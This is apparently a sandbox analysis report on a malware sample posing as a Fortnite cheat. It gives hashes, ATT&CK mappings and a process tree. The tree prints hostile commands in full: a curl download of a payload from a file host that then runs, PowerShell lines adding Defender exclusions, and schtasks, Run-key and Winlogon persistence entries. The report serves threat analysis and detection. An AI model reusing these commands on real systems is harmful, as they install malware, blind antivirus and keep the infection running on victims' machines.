30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d

Analysis

max time kernel
20s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-09-2024 01:08

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General

Target

fortnite-external.exe
Size

392KB
MD5

450270d6a68cf6364e98f16b917a84e6
SHA1

3e89467c9cbc12a76ab77c50913ee45420e16ccc
SHA256

30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d
SHA512

27c7b9c03a026ba578d6c71f6805d07a702740ce21f2e738cadb7fd2d455d6b1abf620c5b147ee018494a33376ff4e907bdf8ce0fa76f7970abe6cd03da6b4b6
SSDEEP

6144:whcdTWDsDiY4ElESAtEnESbkaXOahqJiSxRODbGWrZjkmn35GYrZ8RA:fdxE7xr4kmnJ

Score

10^/10

discovery execution persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\fortnite-external.exe\""	msedge.exe

Process spawned unexpected child process 6 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3508	3104	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4800	3104	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4832	3104	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	3104	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1008	3104	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2288	3104	schtasks.exe	90

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe
464	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	fortnite-external.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
5012	physmeme.exe
4972	msedge.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fortnite-external = "\"C:\\Users\\Admin\\AppData\\Local\\fortnite-external.exe\""	msedge.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSC3835A5923E764F73A740FE53FEB14B23.TMP	csc.exe
File created	\??\c:\Windows\System32\eemqzy.exe	csc.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Speech\physmeme.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	physmeme.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3508	schtasks.exe
4800	schtasks.exe
4832	schtasks.exe
936	schtasks.exe
1008	schtasks.exe
2288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe
4972	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	msedge.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5060 wrote to memory of 448	5060	fortnite-external.exe	85
PID 5060 wrote to memory of 448	5060	fortnite-external.exe	85
PID 448 wrote to memory of 4252	448	cmd.exe	86
PID 448 wrote to memory of 4252	448	cmd.exe	86
PID 5060 wrote to memory of 5012	5060	fortnite-external.exe	91
PID 5060 wrote to memory of 5012	5060	fortnite-external.exe	91
PID 5060 wrote to memory of 5012	5060	fortnite-external.exe	91
PID 5012 wrote to memory of 628	5012	physmeme.exe	92
PID 5012 wrote to memory of 628	5012	physmeme.exe	92
PID 5012 wrote to memory of 628	5012	physmeme.exe	92
PID 628 wrote to memory of 4692	628	WScript.exe	96
PID 628 wrote to memory of 4692	628	WScript.exe	96
PID 628 wrote to memory of 4692	628	WScript.exe	96
PID 4692 wrote to memory of 4972	4692	cmd.exe	98
PID 4692 wrote to memory of 4972	4692	cmd.exe	98
PID 4972 wrote to memory of 1256	4972	msedge.exe	102
PID 4972 wrote to memory of 1256	4972	msedge.exe	102
PID 1256 wrote to memory of 4820	1256	csc.exe	104
PID 1256 wrote to memory of 4820	1256	csc.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:448
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:4252
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Edge\fu4i1MBsp.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4692
    - - C:\Edge\msedge.exe
        
        "C:\Edge/msedge.exe"
        5⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4972
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\joalwbv0\joalwbv0.cmdline"
        6⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1256
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES14EA.tmp" "c:\Windows\System32\CSC3835A5923E764F73A740FE53FEB14B23.TMP"
        7⤵
        
        PID:4820
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\fortnite-external.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:464
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Edge\msedge.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3536
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\cj9MjoEi0N.bat"
        6⤵
        
        PID:4888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnite-externalf" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\AppData\Local\fortnite-external.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnite-external" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\fortnite-external.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnite-externalf" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\AppData\Local\fortnite-external.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 9 /tr "'C:\Edge\msedge.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 7 /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe

Filesize
192B

MD5
e5437373d0605c93bc97b65a4a12d739

SHA1
671858874a65fd9c7d3de894ba4c590b537f0bde

SHA256
9440e1281d71c9d954fb0510d3eb29a1270d10eca8394744c5bd91e2e6f83307

SHA512
5345d25ba8cbd179fddbc1255e26e5d3f5e2161e99e4be3bfba1ece5ae317c22df8e115415e300ca5763bd993fb45aa0f5cfca0278c8a6eabb29d48548cf0d2f

Download Submit
C:\Edge\fu4i1MBsp.bat

Filesize
63B

MD5
f797a77c821b724238a50a77f0fe1aae

SHA1
ee9ff366bdfcba73d9ca0753670f2660baaec9f2

SHA256
00c0f57e5f833e74c22e63732816c59eb1f9b8cff197eea7373c32aac58d08d7

SHA512
04459b565bd18d707af3740f3f76050dc8d1f5cb4d335460fcc9c3658695558b9bf67e82beb25996c86ee7ba4a2705eaa4da55facc44fa1e854552cd49d8aa23

Download Submit
C:\Edge\msedge.exe

Filesize
1.8MB

MD5
9257cb2730e4744e1fd4565dec8eb3c8

SHA1
a9147f6de05447b78bd78b71517a650028498836

SHA256
2964966063f51dd2c3d381468a9d9091d8581442b9d63564af056274cb797061

SHA512
0b2228b607a3aa0302515312ab5f9cf86b78c44b94bba7a53507afba00d55208d1387585cd8c0714a9c66831bf99036d91fb81398d6806fd2e086d6019e67e6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES14EA.tmp

Filesize
1KB

MD5
18563bba5418c09591d115618a331fa6

SHA1
c75857bec13834ce9a2e4a7fba900570c53c0800

SHA256
e2bb96027efab7ce2b53469a5e30aa30abeda5b1f3a6034ca32a7dbfb97fe37a

SHA512
08f95a4fa79440f780c696fb0ae4369c218229b7ec48d5ac8d8b3a8cea6eaf5cb62429c4e8efb23a58592d0ce627bb6723f562754f6c57dbb97a6199ff62c8ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s53fwsuy.i3h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
e5f3f9c01d860a57b5dbc30b44ab4ba0

SHA1
4a7a9c4aba1968491fcabea3abeaa5ecf3fcb71d

SHA256
bd86ed3a268c8e85089ad0602b8894a6463b61569d64b92b63a4c5ab5fed5c0b

SHA512
e771a3370cc9706be105ccf8e732e4502845bdbd2b26d9b47ec5766497f419157e01baccd36c8e418fb25de284effcef2da6683f62ca561786c7353140e0a55f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\joalwbv0\joalwbv0.0.cs

Filesize
382B

MD5
c8d90847100e57bb85b3d93346e92483

SHA1
20f9fcc90c4f2cdf33609e39b629033b2b697adb

SHA256
8a4b771e0f414291e7aa8d37db335ef83df01d47ad145c70b85ea38d187b5f58

SHA512
daf3526ee04421eb37a6ebd2e81683c6d466221fe638a10ebe9b955c3f676a36fb5f6789be4fbf95380080aebaabe602f16a637a59492474a763788e78c99e68

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\joalwbv0\joalwbv0.cmdline

Filesize
235B

MD5
0adfac9f20038e7b7da97f6f1459cf79

SHA1
bcfb5414606c1f4b4bd0b04170fb17c69ade780c

SHA256
24292975991ea9ae0273eacfb757c8c3a080d331a9fe5b083fe786cbe3bd5a4c

SHA512
f5f9a6811ffdbce775cb09f556a0f2f54ec2951772c33f0925508db13d54df404b7437cfcbd271aa5232864776b97e3a58e7a2ba9544dfcf6844084d0f602bb7

Download Submit
\??\c:\Windows\System32\CSC3835A5923E764F73A740FE53FEB14B23.TMP

Filesize
1KB

MD5
aaedb470feff0ca43ba622b01d0e7b4f

SHA1
e88615dbe9a5c74b28a0cb38666ddb91bd014dd4

SHA256
deb4e21657569076441e2f2ed83756a093bb6588a75d8febbabedd64d96d183f

SHA512
cf825cfd11de31c4faa0516b0d3b6bc54290f5c5d1098950a6f82fbdc02b8235c2dcae53df823c00def7d47bdada06970cceee01cb5db183ff83879d98977910

Download Submit
memory/3536-53-0x0000020931360000-0x0000020931382000-memory.dmp

Filesize
136KB

Download
memory/4972-15-0x00000000000F0000-0x00000000002CA000-memory.dmp

Filesize
1.9MB

Download
memory/4972-24-0x0000000002460000-0x000000000246C000-memory.dmp

Filesize
48KB

Download
memory/4972-22-0x000000001AF40000-0x000000001AF58000-memory.dmp

Filesize
96KB

Download
memory/4972-20-0x000000001B2C0000-0x000000001B310000-memory.dmp

Filesize
320KB

Download
memory/4972-19-0x000000001AF20000-0x000000001AF3C000-memory.dmp

Filesize
112KB

Download
memory/4972-17-0x0000000002450000-0x000000000245E000-memory.dmp

Filesize
56KB

Download
memory/4972-55-0x000000001B510000-0x000000001B57B000-memory.dmp

Filesize
428KB

Download